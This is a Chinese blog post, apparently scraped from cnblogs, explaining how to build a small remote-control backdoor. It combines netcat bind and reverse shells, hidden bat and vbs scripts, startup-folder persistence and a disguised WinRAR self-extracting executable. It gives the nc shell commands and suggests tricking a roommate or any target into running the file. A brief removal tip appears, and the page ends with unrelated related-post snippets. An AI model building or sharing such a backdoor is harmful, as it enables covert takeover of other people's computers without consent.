[实战]用nc+简单batvbs脚本+winrar制作迷你远控后门

前言

  某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念。

  我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接。

  真正的远控还没实践过,所以决定写个小后门试一试。

NC、正向Shell、反向Shell介绍

什么是nc:

  nc是netcat的简写,就是一个简单、可靠的网络工具。当然因为某些奇怪原因,已经被各大杀毒轮番轰炸。原因就和下文所述有关。

nc的作用:

(1)实现任意TCP/UDP端口的侦听,nc可以作为服务器端以TCP或UDP方式侦听指定端口

(2)端口的扫描,nc可以作为客户端发起TCP或UDP连接

(3)不同机器之间传输文件,通信,测速等功能

nc的部分参数:

和其他工具一样,nc也有许多参数,这俩选取两个最关键的参数说明一下。

(1)**-l**:用法:

nc -l(或-lvp,代表输出交互信息)4444

该参数用于指定nc处于侦听模式。此时nc被当作服务器端,侦听并接受连接。简单地说,别人可以通过你的ip+你接收连接的端口号(4444)来连上你。

(2) -e:罪魁祸首。用法:

nc 192.168.0.7 4444 -e cmd.exe  

nc -lvp 4444 -e cmd.exe

该参数的用处很简单,重定向执行-e后指定程序。

比如nc 192.168.0.7 4444 -e cmd.exe这条命令。意思就是向目标ip+端口请求连接,若连接成功后,你的cmd.exe就会在服务器端被重定向执行。

服务器端--执行--客户端的cmd.exe

而对于nc -lvp 4444 -e cmd.exe该命令。意思是侦听并接收其他人对你4444端口的连接。若别人连接成功,别人就可以执行服务器端的cmd.exe。

客户端--连接--侦听中的服务器端--执行--服务器端的cmd.exe

在linux下,可以等价变为-e /bin/sh或-e /bin/bash。但无论如何,**-e可以完全实现远控的功能**。

在高版本的nc中,已经默认禁用了-e这个选项。不过仍然可以通过手动修改源码重新编译来开启。这里以1.12版本的nc来实现我们的远控后门。

正向Shell(Bind Shell)

原理很简单,一张图就可以说明:

  

在被攻击的目标端上执行:nc -lvp 4444 -e cmd.exe

如同上文所述:侦听并接收其他人对你4444端口的连接。若别人连接成功,别人就可以执行服务器端(目标端)的cmd.exe。

换句话说,目标端的4444已经和cmd.exe“ 绑”在了一起。只要4444端口被连接,cmd.exe就拱手相让。

攻击端的指令就很简单了:nc 目标端ip 4444

请求连接目标端的4444端口,一旦连接上,目标端的cmd.exe就可以随便执行了。

反向Shell(Rerverse Shell)

  

在被攻击的目标端上执行:nc 攻击端ip 4444 -e cmd.exe

意思是向攻击端的ip+端口请求连接,若连接成功后,,目标端的cmd.exe就会在服务器端(攻击端)被重定向执行。

换而言之,目标端把自己的cmd.exe“送”给了攻击端。攻击端只需要开启侦听,接收连接,只要连接建立就可以执行目标端的cmd.exe.

那么,攻击端只需要开启4444端口的侦听,等待有谁连进来上钩就行了:nc -lvp 4444

无论是正向shell与反向shell,只要攻击端和目标端能互相ping通即可。那么对于反向shell来说,如果攻击端的ip是某台公网上的服务器地址,后果就请自行脑补了。

基于正反向Shell实现的后门的制作流程

既然是后门,就需要满足以下几个条件:

1.静默操作,不弹框,没异常

2.位置隐蔽,不易查找

3.维持控制

根据这些,有以下几条思路:

1.把目标端需要执行的命令写在一个.bat文件(以下称为文件1)中,命令都以cmd /c的形式执行(不弹窗)

2.把文件用winrara打包成一个自解压缩文件,静默执行(不弹框,自动解压到指定目录),并在解压后执行另一个.bat文件(文件2)

其中文件2的作用是把一个vbs脚本(文件3)解压到开机自启目录下(后面会说),并且执行最关键的文件1.

3.文件3的功能就很简单粗暴了:执行文件1。因为文件3在开机自启目录下,也就是每次开机都会执行。可以起到维持远控的作用。

光凭文字不太能说明清楚,下面我们看一下这几个文件的真面目。  

基于正向Shell的远控后门

目录结构如下:

  

其中nc.exe,人如其名,是必要的工具,不多说了。

先来看“文件1”:Windows.bat

  

切到解压目录下,并且执行目标端的nc命令。

之后是“文件2”:System.bat

  

把文件3复制到开机启动项中,并且执行文件3.

“文件3”:important.vbs

  

运行文件1,并且不显示窗口。

   

从上面不难看出,解压目录后,只要运行System.bat就可以实现预期功能。

那么怎么解压到指定目录并执行呢?来看一下winrar的自解压缩功能。

  

 

  

也可以自定义自解压缩程序的图标

  

那么制作出来的.exe大体上是这样的

  

  

现在发给你的室友,让他双击执行,你在用nc监听下他的ip的4444端口,然后就舒服了。

基于反向Shell的远控后门

正向Shell虽然简单粗暴,但是真要应用,也就在局域网内好用。(比如宿舍网络)

如果想实现真正意义的远控,那么反向shell更好用一点。

对于反向shell来说,如果攻击端的ip是某台公网上的服务器地址,那么只要目标端有网络环境,就可以被远控。

所以如果你拥有一台云服务器,就可以安排了。

这个后门程序与正向shell的大同小异:

  

reverseshell.bat:

  

system32.bat:

  

soimpartant.vbs:

  

之后也做成自解压文件,就可以了。

  

使用方法很简单:在你的服务器上监听4777端口,等着别人上钩就行了。

实际演示

用虚拟机演示一下surprise.exe把。kali是攻击端,本机win7是目标端。

如图所示,目标端执行该程序后。只要知道其ip,即可:

  

未完待续

虽然这两个程序已经基本上实现了远控的功能,但是却还有很多不完善。

1.两个程序仍然可以被winrar识别,打开并解压。

这个貌似可以通过改文件头来混淆过去。

2.无脑被杀毒软件安排

……nc是众矢之的,等有空研究下免杀吧。

顺便说下怎么杀掉这个后门吧:把目录删掉,启动项删掉。kill掉所有nc和cmd进程。

  

要期末了。国赛打(送)完估计要停一段时间了,这个后门以后有空再继续完善吧。

原文地址:https://www.cnblogs.com/keelongz/p/12569303.html

时间: 2024-10-09 01:02:58

[实战]用nc+简单batvbs脚本+winrar制作迷你远控后门的相关文章

ArcMap自定义脚本工具制作

原文 ArcMap自定义脚本工具制作 在制图的前期,一般需要做一些数据的整理,如图层合并.裁剪等工作.虽然在ArcMap中也有提供对应的工具,但使用起来需要点技巧.如批量裁剪,虽然可以实现,但出来的结果会重命名为[图层名]_clip,这样对于配置好整个区域的mxd,需要单独裁剪部分范围数据非常不友好,以为后续工作意味着需要单独给裁剪出来的数据重命名,删除掉后缀_clip才可以统一设置数据源. 解决这个问题其实可以很快速的编写python脚本去实现.但脚本对于一般人来说比较麻烦,每次使用都需要调整

【sehll学习】linux运维一个简单shell脚本监控系统内存

学习shell脚本入门后,慢慢要尝试编写一些脚本练练手,在这先简单的学习写个系统内存的监控. 1.首先先要确定一下截取一下需要关注的内存使用值,可使用free 命令来操作 free -m 显示 一般在监控内存是我们都是截取 第三行(-/+ buffers/cache)的值.确定后可以使用管道线和grep命令来获取这个的值. free -m | grep - | awk  '{print $4}' 获取到他的值为  858 当中 grep -  就是匹配一下要选取的内容,不太熟悉的可以学习一下gr

Centos开机自启动脚本的制作

我的一个Centos开机自启动脚本的制作 一.切换到/etc/init.d/ 二.制作sh脚本 vi andy.sh [plain] #!/bin/sh #add for chkconfig #chkconfig: 2345 70 30 #description: the description of the shell   #关于脚本的简短描述 #processname: andyStart                    #第一个进程名,后边设置自启动的时候会用到 #下面要启动服务的命

[小项目实战]分公司c3750简单mls qos限速,asa5510实现url过滤

现分公司的一个车间要出租给外加工单位,是我们boss的朋友,所以网络设备什么的都是由我们提供,大概车间办公室10+电脑左右,我们自己电脑总数在60台,其中能上外网的30+,领导让我去做这个项目,要求如下: 1.外租网络不能访问我们内网,可以访问外网 2.带宽的问题,我们总带宽是10M,我们分部实施了ad管理,像一些P2P下载软件用户是没有权限安装的,平时不搞迅雷下载和在线看视频的话,带宽还是足够的,而外加工那个单位电脑我们是无法控制的,所以领导要求把他们带宽限制在4M左右. 3.领导要求过滤一些

[简明python教程]学习笔记之编写简单备份脚本

[[email protected] 0503]# cat backup_ver3.py #!/usr/bin/python #filename:backup_ver3.py import os import time #source source=['/root/a.sh','/root/b.sh','/root/c.sh'] #source='/root/c.sh' #backup dir target_dir='/tmp/' today=target_dir+time.strftime('

邮箱扒头像来告诉你怎么写简单的脚本扒图

用邮箱扒头像来告诉你怎么写简单的脚本扒图 手上有几十万邮箱,本来用户系统没有做头像的东西,现在想根据这些邮箱能拿一部分用户的头像,可以直接使用 gravatar的服务,不过这玩意儿不时会被墙,还是拉回来靠谱,第2个途径是qq邮箱,通过分析数据发现,这几十万 用户里面居然有一半以上是qq邮箱,so 要想办法通过不用oauth的方式拿到. 思路与技术选择 作为一个pythoner,有很多爬虫框架可以选择,例如scrapy pyspider 没错有中文 有ui 有时间调度 爬虫框架会给你做很多事情,基

简单小脚本

(1).要求编写一个脚本,请给出 系统使用的什么样的Linux系统. 系统内核版本多少 , 当前登录的用户为: 系统有几块硬盘,每块硬盘的大小 系统内存总量多少 服务器的硬件型号 有几颗CPU,每颗CPU有多少个内核 (2).请编辑一个脚本,给出本机IP有多少IP地址.然后每个IP地址的子网掩码, 然后请给出本机的网关IP是多少? 效果输出如下: 本机IP地址有3个 分别为: IPxxxxxx,子网掩码xxxx IPxxxxxx,子网掩码xxxx IPxxxxxx,子网掩码xxxx 网关地址为:

Spark 个人实战系列(2)--Spark 服务脚本分析

前言: spark最近非常的火热, 本文不讲spark原理, 而是研究spark集群搭建和服务的脚本是如何编写的, 管中窥豹, 希望从运行脚本的角度去理解spark集群. 研究的spark为1.0.1版. spark集群采用standalone模式搭建, 其基础架构为master-slave(worker模式, 单master+多slave(worker)节点构成. 脚本目录start-all.sh 作用: 启动整个集群stop-all.sh 作用: 关闭整个集群start-master.sh

Libgdx之封装简单的脚本机制

需求: 游戏中,在开始前经常会用到,ready->go->start game,或者其他情况. 简单的说,就是游戏一些UI展示需要按照步骤执行. 于是乎,为了让逻辑清晰,自己写了简单执行脚本,方便以后的开发. package com.oahcfly.chgame.core.script; // 接口 public interface IScript { public void addSteps(String... args); public void run(final Runnable ca